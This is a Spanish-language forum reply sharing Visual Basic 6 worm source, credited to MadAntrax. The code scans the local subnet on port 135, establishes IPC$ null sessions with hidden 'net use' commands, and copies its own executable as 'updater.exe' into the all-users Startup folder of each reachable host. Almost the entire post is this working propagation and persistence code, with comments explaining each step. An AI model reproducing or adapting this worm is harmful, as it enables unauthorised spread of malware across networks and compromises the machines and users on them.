Dudo mucho que te funcione, a ver si lo encuentro en mi HD xD
EDIT: Aquí te lo dejo: (Créditos a MadAntrax)
Código: Seleccionar todo
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim WS As CSocketMaster
Sub Main()
Set WS = New CSocketMaster 'Modulo Winsock de CSocketMaster
Dim SelfIP As String 'Nuestra propia IP de la LAN
Dim SubNet As String 'Nuestra SubRed, ejemplo: 192.168.1.X
Dim SubNetArray As String 'Almacenamos los Hosts de la LAN que son vulnerables
Dim BufferIP() As String 'Almacenamos los octetos de nuestra IP
SelfIP = WS.LocalIP 'Obtenemos nuestra IP de la LAN
BufferIP = Split(SelfIP, ".") 'Partimos los octetos en un Array
If UBound(BufferIP) = 3 Then
SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2) 'Obtenemos nuestra SubRed: 192.168.1.X
SubNetArray = GetAliveHosts(SubNet, BufferIP(3)) 'Obtenemos los Hosts que son vulnerables a NetBios
If SubNetArray <> "0" Then 'Comprobamos que hay Hosts vulnerables en nuestra LAN
Call GetPrivilegesOnSubNet(SubNet, SubNetArray) 'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
DoEvents 'Esperamos...
Call InfectSubnet(SubNet, SubNetArray) 'Infectamos los Hosts vulnerables gracias a C$
End If
End If
End Sub 'Fin del Código
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que almacena en un array el último octeto de la dirección IP de
'todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.5
' 192.168.1.10
' 192.168.1.128
' 192.168.1.200
'
'Esta función devuelve: "5,10,128,200"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
Dim AliveHosts As String 'Array donde se almacenan los Hosts vulnerables
AliveHosts = ""
WS.Protocol = sckTCPProtocol 'Establecemos el protocolo en TCP
For i = 1 To 254 'Bucle desde X.X.X.1 hasta X.X.X.254
If WS.State <> sckClosed Then WS.CloseSck 'Si el Socket no está cerrado, lo cerramos para evitar errores.
DoEvents 'Esperamos...
WS.Connect SubNet & "." & i, 135 'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
Sleep 500 'Esperamos 1/2 Segundo...
If WS.State = sckConnected And i <> MyHost Then 'Si el Hosts es vulnerable y el Host no es MiPC entonces...
AliveHosts = AliveHosts & i & "," ' añadimos el octeto del Host en el Array
End If 'End If
Next i
If Len(AliveHosts) > 0 Then 'Si hemos encontrado al menos 1 Host vulnerable...
AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1) ' quitamos el último caracter del Array (siempre es una ",") para evitar errores.
GetAliveHosts = AliveHosts ' devolvemos el Array como valor de retorno
Exit Function ' finalizamos esta función
End If 'End If
GetAliveHosts = "0" 'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
'en todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.128
' 192.168.1.200
'
'Esta función ejecuta:
' net use \\192.168.1.128\ipc$ "" /user:""
' net use \\192.168.1.200\ipc$ "" /user:""
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
Dim tmpArray() As String
Dim tmpIP As String
tmpArray = Split(SubNetArray, ",")
For i = 0 To UBound(tmpArray)
tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
Next i
'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
'de los Hosts vulnerables a NetBios, para ello utiliza C$
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.128
' 192.168.1.200
'
'Esta función ejecuta:
' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
Dim tmpArray() As String
Dim tmpIP As String
tmpArray = Split(SubNetArray, ",")
For i = 0 To UBound(tmpArray)
tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
Next i
'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function
Saludos!